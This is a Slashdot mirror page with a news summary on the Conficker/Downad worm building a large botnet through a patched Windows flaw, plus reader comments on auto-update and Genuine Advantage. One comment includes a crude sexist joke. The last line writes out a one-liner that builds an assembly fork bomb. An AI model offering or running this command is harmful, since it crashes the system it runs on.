Slashdot Mirror
New Massive Botnet Building On Windows Hole
CWmike writes "The worm exploiting a critical Windows bug that Microsoft patched with an emergency fix in late October is now being used to build a fast-growing botnet, said Ivan Macalintal, a senior research engineer with Trend Micro. Dubbed 'Downad.a' by Trend (and 'Conficker.a' by Microsoft and 'Downadup' by Symantec), the worm is a key component in a massive new botnet that a new criminal element, not associated with McColo, is creating. 'We think 500,000 is a ballpark figure,' said Macalintal when asked the size of the new botnet. 'That's not as large as some, such as [the] Kraken [botnet], or Storm earlier, but it's... starting to grow.'"
Auto-update is really annoying, especially if you don't have a very good connection. Its one of the first things I disable when I do a fresh install of XP.
Here, let me turn it back on for you. There. Don't bother thanking me, I've already debited your bank account for my time.
Reminds me an ancient joke:
Windows is same as whores: They both have massive hole and full of viruses.
just wonder why there are so many anonymous cowards in this world....
I don't know why people complain about Genuine Advantage. If you buy the software it is unlocked. If you pirate it it will still work, even though it knows it is pirated, but it won't work 100%. I.e. pirate copies are partially locked.
Genuine Advantage would be better if they had a sense of humour about it. Like instead of black screening pirate copies they could shrink the desktop slowly surrounded it by a dirty border and have photorealistic DirectX 10 cockroaches in the border. When you unlocked the workstation they'd scatter, but you still see the odd leg or antenna poking out from the edge of the monitor. Every so often one would run across the screen when you were hard at work. Hell, maybe you'd let people crush them with the mouse pointer but it would leave a nasty yellow blob on the screen. The longer you held out against buying a license, the more bold the roaches would become, and the more hit points they would have.
Essentially Microsoft discovered a way to make people RAGE! by accident with Clippy. They should put that knowledge to use annoying pirates and making everyone else laugh at them. Most people have a fear of being mocked for being cheap, they should put that fear to use.
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;